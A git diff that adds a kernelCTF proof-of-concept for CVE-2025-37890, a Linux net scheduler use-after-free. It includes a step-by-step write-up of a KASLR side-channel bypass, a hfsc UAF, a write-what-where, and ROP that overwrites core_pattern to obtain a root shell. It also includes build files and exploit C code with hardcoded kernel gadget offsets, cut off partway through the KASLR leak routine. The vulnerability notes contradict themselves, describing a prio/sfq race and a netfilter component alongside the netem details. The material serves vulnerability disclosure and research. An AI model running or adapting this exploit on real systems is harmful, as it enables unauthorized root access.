diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/docs/exploit.md new file mode 100644 index 000000000..e6276b358 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/docs/exploit.md @@ -0,0 +1,335 @@ +# CVE-2025-37890 +## Overview +First, use prefetch sidechannel to bypass KASLR. Then, use the re-entrancy bug to doubly activate a hfsc class. This causes the hfsc qdisc to improperly track the class' reference count, allowing us to obtain a UAF hfsc class. We can then perform a write-what-where to achieve ROP. +For Mitigation instance, we use the same exploit technique as [CVE-2025-37798](https://github.com/google/security-research/blob/7e4f27632c6eeb08380e4d1fb1f73c1296253603/pocs/linux/kernelctf/CVE-2025-37798_lts_cos_mitigation/docs/exploit.md#mitigation-exploit). + +## Exploiting double class activation +The bug allows us to doubly activate a new child (class) in a classful qdisc. While this effect is possible across a variety of classful qdiscs, it is most useful in a hfsc qdisc. As explained in [vulnerability.md](vulnerability.md), the re-entrancy bug allows us to perform the new-class activation routine on the same class twice. + +```c + if (first) { + if (cl->cl_flags & HFSC_RSC) + init_ed(cl, len); + if (cl->cl_flags & HFSC_FSC) + init_vf(cl, len); + /* + * If this is the first packet, isolate the head so an eventual + * head drop before the first dequeue operation has no chance + * to invalidate the deadline. + */ + if (cl->cl_flags & HFSC_RSC) + cl->qdisc->ops->peek(cl->qdisc); + + } +``` + +When we configure the hfsc class with the `HFSC_FSC` flag, `init_vf()` is used to initialize the class. +```c +static void +init_vf(struct hfsc_class *cl, unsigned int len) +{ + struct hfsc_class *max_cl; + struct rb_node *n; + u64 vt, f, cur_time; + int go_active; + + cur_time = 0; + go_active = 1; + for (; cl->cl_parent != NULL; cl = cl->cl_parent) { // [1] + if (go_active && cl->cl_nactive++ == 0) // [2] + go_active = 1; + else + go_active = 0; + + if (go_active) { + // [...] +``` + +At [1], there is a for loop which traverses up the hierarchy of hfsc classes, starting from the new class. The new class' parent is the root class (with the same class id as the hfsc qdisc's handle), which was automatically created when the hfsc qdisc was initialized. In the for loop, the class' `cl_nactive` reference count is incremented if `go_active` is true. Since `go_active` is initially set to `1`, the `cl_nactive` count is always incremented for the new class. Resultantly, activating the same class twice will (incorrectly) set the `cl_nactive` reference count to `2`. + +To understand why this reference count is important, let's look at the class deletion process. First, when the child qdisc is emptied, the hfsc qdisc's `.qlen_notify` handler `hfsc_qlen_notify()` is triggered. +```c +static void +hfsc_qlen_notify(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + /* vttree is now handled in update_vf() so that update_vf(cl, 0, 0) + * needs to be called explicitly to remove a class from vttree. + */ + update_vf(cl, 0, 0); + if (cl->cl_flags & HFSC_RSC) + eltree_remove(cl); +} +``` + +For our FSC class, the important call is to `update_vf()`. +```c +static void +update_vf(struct hfsc_class *cl, unsigned int len, u64 cur_time) +{ + u64 f; /* , myf_bound, delta; */ + int go_passive = 0; + + if (cl->qdisc->q.qlen == 0 && cl->cl_flags & HFSC_FSC) // [3] + go_passive = 1; + + for (; cl->cl_parent != NULL; cl = cl->cl_parent) { + cl->cl_total += len; + + if (!(cl->cl_flags & HFSC_FSC) || cl->cl_nactive == 0) + continue; + + if (go_passive && --cl->cl_nactive == 0) // [4] + go_passive = 1; + else + go_passive = 0; + + /* update vt */ + cl->cl_vt = rtsc_y2x(&cl->cl_virtual, cl->cl_total) + cl->cl_vtadj; + + /* + * if vt of the class is smaller than cvtmin, + * the class was skipped in the past due to non-fit. + * if so, we need to adjust vtadj. + */ + if (cl->cl_vt < cl->cl_parent->cl_cvtmin) { + cl->cl_vtadj += cl->cl_parent->cl_cvtmin - cl->cl_vt; + cl->cl_vt = cl->cl_parent->cl_cvtmin; + } + + if (go_passive) { // [5] + /* no more active child, going passive */ + + /* update cvtoff of the parent class */ + if (cl->cl_vt > cl->cl_parent->cl_cvtoff) + cl->cl_parent->cl_cvtoff = cl->cl_vt; + + /* remove this class from the vt tree */ + vttree_remove(cl); + + cftree_remove(cl); + update_cfmin(cl->cl_parent); + + continue; + } + // [...] +``` + +Since the FSC class is empty, `go_passive = 1` at [3]. If `cl_nactive` was correctly set to `1`, the decrement check at [4] would be true and `go_passive = 1` still. Subsequently, at [5], the inactive class is removed from the vt tree with `vttree_remove()`. However, since `cl_nactive` was previously doubly incremented to `2`, the check at [4] fails and `vttree_remove()` is never called. + +When deleting the hfsc class, `hfsc_delete_class()` assumes that vt tree removal was already previously handled and does not check for it. The class is eventually freed in `hfsc_destroy_class()`. This leaves a dangling reference to the class in the vt tree. + +## UAF +To exploit the dangling reference in vt tree, we will target `hfsc_dequeue()`. We construct a hfsc class with two FSC child classes. +``` + 1:0 (hfsc) + / \ +1:1 1:2 + | | +netem pfifo +``` + +We first perform the double activation and class deletion on 1:1, which leaves it as a dangling pointer in the vt tree. Then, we enqueue a packet into 1:2. This triggers the `__qdisc_run` routine which, after enqueueing the packet, tries to dequeue a packet from the hfsc qdisc. + +```c +static struct sk_buff * +hfsc_dequeue(struct Qdisc *sch) +{ + struct hfsc_sched *q = qdisc_priv(sch); + struct hfsc_class *cl; + struct sk_buff *skb; + u64 cur_time; + unsigned int next_len; + int realtime = 0; + + if (sch->q.qlen == 0) + return NULL; + + cur_time = psched_get_time(); + + /* + * if there are eligible classes, use real-time criteria. + * find the class with the minimum deadline among + * the eligible classes. + */ + cl = eltree_get_mindl(q, cur_time); // [6] + if (cl) { + realtime = 1; + } else { + /* + * use link-sharing criteria + * get the class with the minimum vt in the hierarchy + */ + cl = vttree_get_minvt(&q->root, cur_time); // [7] + if (cl == NULL) { + qdisc_qstats_overlimit(sch); + hfsc_schedule_watchdog(sch); + return NULL; + } + } + // [...] +``` + +Because both of our classes are FSC and not RSC, there is no eligible class at [6]. Instead the function looks for an eligible class in the vt tree at [7]. +```c +static struct hfsc_class * +vttree_get_minvt(struct hfsc_class *cl, u64 cur_time) +{ + /* if root-class's cfmin is bigger than cur_time nothing to do */ + if (cl->cl_cfmin > cur_time) + return NULL; + + while (cl->level > 0) { + cl = vttree_firstfit(cl, cur_time); // [8] + if (cl == NULL) + return NULL; + /* + * update parent's cl_cvtmin. + */ + if (cl->cl_parent->cl_cvtmin < cl->cl_vt) + cl->cl_parent->cl_cvtmin = cl->cl_vt; + } + return cl; +} +``` + +The freed class 1:1 is returned at [8], giving us UAF. + +## LPE +From this point on, there are many documented strategies to achieve LPE. + +For LTS and COS, we use the strategy outlined in [CVE-2023-4623](https://github.com/google/security-research/blob/66053d865bf43b3e8d379f41f353e3b125cf4524/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/exploit.md#write-what-where). There are 2 differences in our exploit: we use `struct user_key_payload` to reclaim instead of `simple_xattr`, and a different ROP chain. First, in `spray_keyring()`, reclaim the UAF class with `struct user_key_payload`, which contents we can [control](https://bsauce.github.io/2021/09/26/kernel-exploit-%E6%9C%89%E7%94%A8%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93/#5-add_key). This is elastic size, and allocated with `GFP_KERNEL`, so it is allocated in the same cache as the hfsc_class (in fact, all qdisc classes are allocated with `GFP_KERNEL`). + +```c +static int +hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid, + struct nlattr **tca, unsigned long *arg, + struct netlink_ext_ack *extack) +{ + // [...] + cl = kzalloc(sizeof(struct hfsc_class), GFP_KERNEL); +``` + +```c +int user_preparse(struct key_preparsed_payload *prep) +{ + struct user_key_payload *upayload; + size_t datalen = prep->datalen; + + if (datalen <= 0 || datalen > 32767 || !prep->data) + return -EINVAL; + + upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL); +``` + + +This method manipulates internal hfsc_class pointers to obtain a 8-byte write-what-where (the pointers are set in `prep_key_desc()`). We use the write-what-where to overwrite the `qfq_qdisc_ops.change()` pointer, and perform ROP. Using available rop gadgets, we overwrite core_pattern with our program path using copy_from_user then simply call msleep. Another thread of our exploit notice the /proc/sys/kernel/core_pattern changes, it will try to crash itself so our exploit will executed as high privilege and gives us root shell to get the flag. + +## Mitigation exploit +The exploit method is similar to [CVE-2025-37798](https://github.com/google/security-research/blob/7e4f27632c6eeb08380e4d1fb1f73c1296253603/pocs/linux/kernelctf/CVE-2025-37798_lts_cos_mitigation/docs/exploit.md#mitigation-exploit) with a few minor tweaks. I will only outline the differences. + +The original attack uses a drr qdisc as the root qdisc. However, the double enqueue vulnerability will trigger the activation routine twice, leading to a double add splat. +```c +static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch, + struct sk_buff **to_free) +{ + // ... + if (!cl_is_active(cl)) { + list_add_tail(&cl->alist, &q->active); + cl->deficit = cl->quantum; + } +``` + +Thus, we will replace the drr parent with a hfsc parent instead. There is not much functionality difference. We tweak the exploit as follows: +- hfsc root qdisc (1:0) +- multiq qdisc (2:0) attached to hfsc class 1:1. This will contain the vulnerable qdisc tree +- Some arbitrary qdisc (10:0) attached to hfsc class 1:2, just to keep hfsc level > 0 after deleting class 1:1 + +Because the netem double enqueue sends the enqueue request to the root qdisc, in this case the hfsc (1:0), it is actually the hfsc - multiq relationship that is corrupted. Our goal is to delete the class that the multiq qdisc is attached to (1:1) while the hfsc qdisc still references it. Like in the original attack, we will attach the vulnerable qdisc tree to a specific multiq class. The setup and trigger of the vulnerability is the same as the LTS/COS exploit. + +Then, as before, we will reclaim the multiq `q->queues`. + +In the original method used for CVE-2025-37798, we used the chain: `drr_dequeue() -> multiq_peek() -> qdisc->peek()` for RIP hijack. Since we replaced the drr with hfsc, we will use the alternate codepath: `hfsc_dequeue() -> qdisc_dequeue_peeked() -> multiq_dequeue() -> qdisc->dequeue()`. + +```c +static struct sk_buff * +hfsc_dequeue(struct Qdisc *sch) +{ + struct hfsc_sched *q = qdisc_priv(sch); + struct hfsc_class *cl; + struct sk_buff *skb; + u64 cur_time; + unsigned int next_len; + int realtime = 0; + + if (sch->q.qlen == 0) + return NULL; + + cur_time = psched_get_time(); + + cl = eltree_get_mindl(q, cur_time); + if (cl) { + realtime = 1; + } else { + cl = vttree_get_minvt(&q->root, cur_time); // [9] + if (cl == NULL) { + qdisc_qstats_overlimit(sch); + hfsc_schedule_watchdog(sch); + return NULL; + } + } + + skb = qdisc_dequeue_peeked(cl->qdisc); // [10] + // ... +} + +static inline struct sk_buff *qdisc_dequeue_peeked(struct Qdisc *sch) +{ + struct sk_buff *skb = skb_peek(&sch->gso_skb); // [11] + + if (skb) { + skb = __skb_dequeue(&sch->gso_skb); + if (qdisc_is_percpu_stats(sch)) { + qdisc_qstats_cpu_backlog_dec(sch, skb); + qdisc_qstats_cpu_qlen_dec(sch); + } else { + qdisc_qstats_backlog_dec(sch, skb); + sch->q.qlen--; + } + } else { + skb = sch->dequeue(sch); // [12] + } + + return skb; +} + +static struct sk_buff *multiq_dequeue(struct Qdisc *sch) +{ + struct multiq_sched_data *q = qdisc_priv(sch); + struct Qdisc *qdisc; + struct sk_buff *skb; + int band; + + for (band = 0; band < q->bands; band++) { + q->curband++; + if (q->curband >= q->bands) + q->curband = 0; + + if (!netif_xmit_stopped( + netdev_get_tx_queue(qdisc_dev(sch), q->curband))) { + qdisc = q->queues[q->curband]; + skb = qdisc->dequeue(qdisc); + // ... +``` + +At [9], the deleted class 1:1 is returned. At [10], `qdisc_dequeue_peeked()` is called on the freed multiq qdisc. At [11], `skb_peek()` returns null because `sch->gso_skb` is empty for the multiq qdisc (it is usually populated for non-work-conserving qdiscs in `qdisc_peek_dequeued()`). This goes to the branch at [12], calling the multiq qdisc's dequeue method `multiq_dequeue()`. In a similar fashion to `multiq_peek()` in the original exploit, we end up with a call to `qdisc->dequeue(qdisc)`, where `qdisc` is our forged qdisc pointer. The rest of the ROP chain is the same. + +In summary, +1. Create qdisc (`setup_hfsc_multiq()`): hfsc (1:0), multiq (2:0) +2. Determine band (`determine_band()`) +3. Create qdisc: plug (10:0) +4. Attach vulnerable set-up to 2:x (`setup_vuln_tree()`) +5. Delete the drr class 1:1 +6. Reclaim `q->queues` (`do_spray_sendmsg()`) +7. Trigger `hfsc_dequeue()` on UAF multiq (`trigger_uaf_miti()`) diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..cff063f2a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/docs/vulnerability.md @@ -0,0 +1,89 @@ +# CVE-2025-37890 +## Overview +- Requirements: + - Capabilites: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NET_SCHED=y CONFIG_NET_SCH_NETEM=y CONFIG_NET_SCH_HFSC=y + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=37d9cf1a3ce35de3df6f7d209bfb1f50cf188cea +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=141d34391abbb315d68556b7c67ad97885407547 +- Affected Version: v5.0-rc3 - v6.15-rc4 +- Affected Component: netfilter +- Syscall to disable: unshare +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37890 +- Cause: Improper Update of Reference Count +- Description: A use-after-free vulnerability in the Linux Kernel net scheduler subsystem can be exploited to achieve local privilege escalation. In the hfsc_enqueue routine, if the qdisc has a netem child, it is possible for the netem's re-entrant behaviour to doubly activate a child class. This corrupts internal tracking, leading to a use-after-free vulnerability. We recommend upgrading past commit 141d34391abbb315d68556b7c67ad97885407547. + + +## Analysis +There exists a race condition vulnerability between the net/sched prio and sfq scheduler. When reducing the number of bands in a prio qdisc, if one of the childs is a sfq qdisc, it is possible for duplicate decrease in qlen to be propagated up the tree. This can be abused to obtain a UAF on a parent hfsc scheduler. This UAF can be exploited to achieve LPE. + +### Details +The vulnerability lies in the `netem_enqueue()` function when the netem qdisc is configured to duplicate incoming packets. +```c + if (skb2) { + struct Qdisc *rootq = qdisc_root_bh(sch); + u32 dupsave = q->duplicate; /* prevent duplicating a dup... */ + + q->duplicate = 0; + rootq->enqueue(skb2, rootq, to_free); // [1] + q->duplicate = dupsave; + skb2 = NULL; + } + + qdisc_qstats_backlog_inc(sch, skb); + + cb = netem_skb_cb(skb); + + if (q->gap == 0 || /* not doing reordering */ + q->counter < q->gap - 1 || /* inside last reordering gap */ + q->reorder < get_crandom(&q->reorder_cor, &q->prng)) { + + // [...] + + tfifo_enqueue(skb, sch); // [2] +``` + +When the netem qdisc tries to duplicate a packet, it enqueues the packet into the root qdisc ([1]). This uses the synchronous enqueue function, where the duplicate packet is fed through the root qdisc, before it is directed back into the netem qdisc. Subsequently, `tfifo_enqueue()` is called at [2], which inserts the packet into the netem qdisc's internal queue and increases the qdisc's qlen. Crucially, the netem's qlen is only increased at [2]. + +A vulnerability exists when the netem qdisc is a child of a classful parent. Consider the qdisc hierarchy where the root qdisc is set as a hfsc qdisc, which has a netem qdisc as a child. In `hfsc_enqueue()`, there is first a check ([3]) if the child qdisc is empty. Then, it enqueues the packet into the child qdisc ([4]). After the enqueue succeeds, it activates the newly active child ([5]). + +```c + cl = hfsc_classify(skb, sch, &err); + if (cl == NULL) { + if (err & __NET_XMIT_BYPASS) + qdisc_qstats_drop(sch); + __qdisc_drop(skb, to_free); + return err; + } + + first = !cl->qdisc->q.qlen; // [3] + err = qdisc_enqueue(skb, cl->qdisc, to_free); // [4] + if (unlikely(err != NET_XMIT_SUCCESS)) { + if (net_xmit_drop_count(err)) { + cl->qstats.drops++; + qdisc_qstats_drop(sch); + } + return err; + } + + if (first) { // [5] + if (cl->cl_flags & HFSC_RSC) + init_ed(cl, len); + if (cl->cl_flags & HFSC_FSC) + init_vf(cl, len); + /* + * If this is the first packet, isolate the head so an eventual + * head drop before the first dequeue operation has no chance + * to invalidate the deadline. + */ + if (cl->cl_flags & HFSC_RSC) + cl->qdisc->ops->peek(cl->qdisc); + + } +``` + +When the hfsc qdisc receives a packet to enqueue in an empty netem qdisc, `first = true` at [3] and the packet is enqueued in netem qdisc at [4]. In netem qdisc, `netem_enqueue()` is called, and the packet duplication ([1]) enqueues the packet in the root hfsc qdisc again, before it calls `tfifo_enqueue()` ([2]). So, when `hfsc_enqueue()` is called on the duplicate packet, the child netem qdisc still has `qlen = 0`. This results in `first = true` for the duplicate packet as well. Subsequently, both calls to `qdisc_enqueue()` ([4]) succeed and the new child activation occurs twice at [5]. + +This 're-entrant' behaviour is present in other classful qdiscs as well. + +This bug can be used to manipulate classful qdisc's internal tracking and escalated into a LPE. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/.gitignore b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/.gitignore new file mode 100644 index 000000000..e42054090 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/.gitignore @@ -0,0 +1,5 @@ +*build/* +gdb_stuff/ +out/ +tools/ +exp \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/Makefile b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/Makefile new file mode 100644 index 000000000..3cf6d1f33 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/Makefile @@ -0,0 +1,81 @@ +# taken from: https://github.com/google/security-research/blob/1bb2f8c8d95a34cafe7861bc890cfba5d85ec141/pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile + +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build +LIBNFNETLINK_DIR = $(realpath ./)/libnfnetlink_build +LIBNETFILTER_QUEUE_DIR = $(realpath ./)/libnetfilterqueue_build +LIBIPTC_DIR = $(realpath ./)/libiptc_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -L$(LIBNFNETLINK_DIR)/install/lib -L$(LIBNETFILTER_QUEUE_DIR)/install/lib -L$(LIBIPTC_DIR)/install/lib -lxtables -lip4tc -lnftnl -lmnl -lnetfilter_queue -lnfnetlink +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -I$(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2/include -I$(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5/include -I$(LIBIPTC_DIR)/iptables-1.8.9/include +CFLAGS = -static -s + +exp: exploit + cp exploit exp + +exploit: exploit.c *.h + gcc -g -o exploit exploit.c -Wall -Wextra -Wno-unused -Werror -Wno-int-to-pointer-cast $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libnftnl-build libnetfilter-queue-build libiptc-build + +libiptc-build : libiptc-download #libmnl-build libnftnl-build + tar -C $(LIBIPTC_DIR) -xvf $(LIBIPTC_DIR)/iptables-1.8.9.tar.xz + cd $(LIBIPTC_DIR)/iptables-1.8.9 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig:$(LIBNFTNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBIPTC_DIR)/iptables-1.8.9 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include::$(LIBNFTNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib:$(LIBNFTNL_DIR)/install/lib make -j`nproc` + cd $(LIBIPTC_DIR)/iptables-1.8.9 && make install + +libiptc-download: + mkdir $(LIBIPTC_DIR) + wget -P $(LIBIPTC_DIR) https://netfilter.org/projects/iptables/files/iptables-1.8.9.tar.xz + + +libnfnetlink-build : libnfnetlink-download + tar -C $(LIBNFNETLINK_DIR) -xvf $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2.tar.bz2 + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && make -j`nproc` + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && make install + +libnetfilter-queue-build : libnetfilter-queue-download libnfnetlink-build #libmnl-build + tar -C $(LIBNETFILTER_QUEUE_DIR) -xvf $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5.tar.bz2 + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && PKG_CONFIG_PATH=$(LIBNFNETLINK_DIR)/install/lib/pkgconfig:$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBNFNETLINK_DIR)/install/include:$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBNFNETLINK_DIR)/install/lib:$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && make install + +libnetfilter-queue-download: + mkdir $(LIBNETFILTER_QUEUE_DIR) + wget -P $(LIBNETFILTER_QUEUE_DIR) https://netfilter.org/projects/libnetfilter_queue/files/libnetfilter_queue-1.0.5.tar.bz2 + +libnfnetlink-download: + mkdir $(LIBNFNETLINK_DIR) + wget -P $(LIBNFNETLINK_DIR) https://netfilter.org/projects/libnfnetlink/files/libnfnetlink-1.0.2.tar.bz2 + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exp + +clean: + rm -f exp + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -rf $(LIBNFNETLINK_DIR) + rm -rf $(LIBNETFILTER_QUEUE_DIR) + rm -rf $(LIBIPTC_DIR) \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/build.sh b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/build.sh new file mode 100755 index 000000000..f84440717 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/build.sh @@ -0,0 +1,6 @@ +#!/bin/bash +set -euo pipefail +make exp + +mkdir -p out +cp exp out/ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/exploit b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/exploit new file mode 100755 index 000000000..8df4f9338 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/exploit.c b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/exploit.c new file mode 100644 index 000000000..bb00ea080 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/exploit.c @@ -0,0 +1,985 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* the L2 protocols */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Kernel base address +uint64_t g_kernel_base = 0xffffffff81000000; + +// cos-109-17800.436.60 +// p &qfq_qdisc_ops.change +#define QFQ_CHANGE (0xffffffff83d8b138 - 0xffffffff81000000 + g_kernel_base) +// 0xffffffff81c61c0c: push rsi; jmp qword ptr [rsi-0x70]; +#define JOP_GADGET (0xffffffff81c61c0c - 0xffffffff81000000 + g_kernel_base) +// 0xffffffff8113f52e: pop rsp; pop r15; ret; +#define ROP_GADGET (0xffffffff8113f52e - 0xffffffff81000000 + g_kernel_base) +#define POP_RDI (0xffffffff81677a6d - 0xffffffff81000000 + g_kernel_base) +#define POP_RSI (0xffffffff8227ddd3 - 0xffffffff81000000 + g_kernel_base) +#define POP_RDX (0xffffffff8227e433 - 0xffffffff81000000 + g_kernel_base) +// _copy_from_user +#define COPY_FROM_USER (0xffffffff818dbc50 - 0xffffffff81000000 + g_kernel_base) +#define MSLEEP (0xffffffff812415d0 - 0xffffffff81000000 + g_kernel_base) +#define CORE_PATTERN (0xffffffff83bbbca0 - 0xffffffff81000000 + g_kernel_base) + +/* common utils */ +void fatal(const char *msg) +{ + printf("[Fatal!] "); + puts(msg); + fflush(stdout); + fflush(stderr); + exit(EXIT_FAILURE); +} + +#define SYSOK(x) ({ \ + typeof(x) __res = (x); \ + if (__res != (typeof(x))0) \ + err(1, "[fail] SYSOK(" #x ")"); \ + __res; \ +}) + +void set_cpu(int c) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(c, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +void mypause() +{ + printf("[~] pausing... (press enter to continue)\n"); + char scratch[11]; + read(0, scratch, 10); // wait for input +} +/* common utils end */ + +/*KASLR leak*/ +inline __attribute__((always_inline)) uint64_t rdtsc_begin() +{ + uint64_t a, d; + asm volatile("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() +{ + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +void prefetch(void *p) +{ + asm volatile( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r"(p)); +} + +size_t flushandreload(void *addr) // row miss +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +#include +int cpu_is_intel(void) +{ + unsigned int eax, ebx, ecx, edx; + char vendor[13]; + + if (!__get_cpuid(0, &eax, &ebx, &ecx, &edx)) + return -1; + + memcpy(vendor + 0, &ebx, 4); + memcpy(vendor + 4, &edx, 4); + memcpy(vendor + 8, &ecx, 4); + vendor[12] = '\0'; + + if (strcmp(vendor, "GenuineIntel") == 0) + return 1; + + if (strcmp(vendor, "AuthenticAMD") == 0) + return 0; + + fatal("Unknown CPU type"); + return -1; +} + +#define ARRAY_LEN(x) ((int)(sizeof(x) / sizeof(x[0]))) +size_t kaslr_leak() +{ + const int is_cpu_intel = cpu_is_intel(); + uint64_t base; + if (is_cpu_intel) + { +#define OFFSET 0 +#define START_INTEL (0xffffffff81000000ull + OFFSET) +#define END_INTEL (0xffffffffD0000000ull + OFFSET) +#define STEP_INTEL 0x0000000001000000ull + while (1) + { + uint64_t bases[7] = {0}; + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END_INTEL - START_INTEL) / STEP_INTEL] = {}; + uint64_t addrs[(END_INTEL - START_INTEL) / STEP_INTEL]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START_INTEL + STEP_INTEL * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + size_t minv = ~0; + size_t mini = -1; + for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) + { + if (times[ti] < minv) + { + mini = ti; + minv = 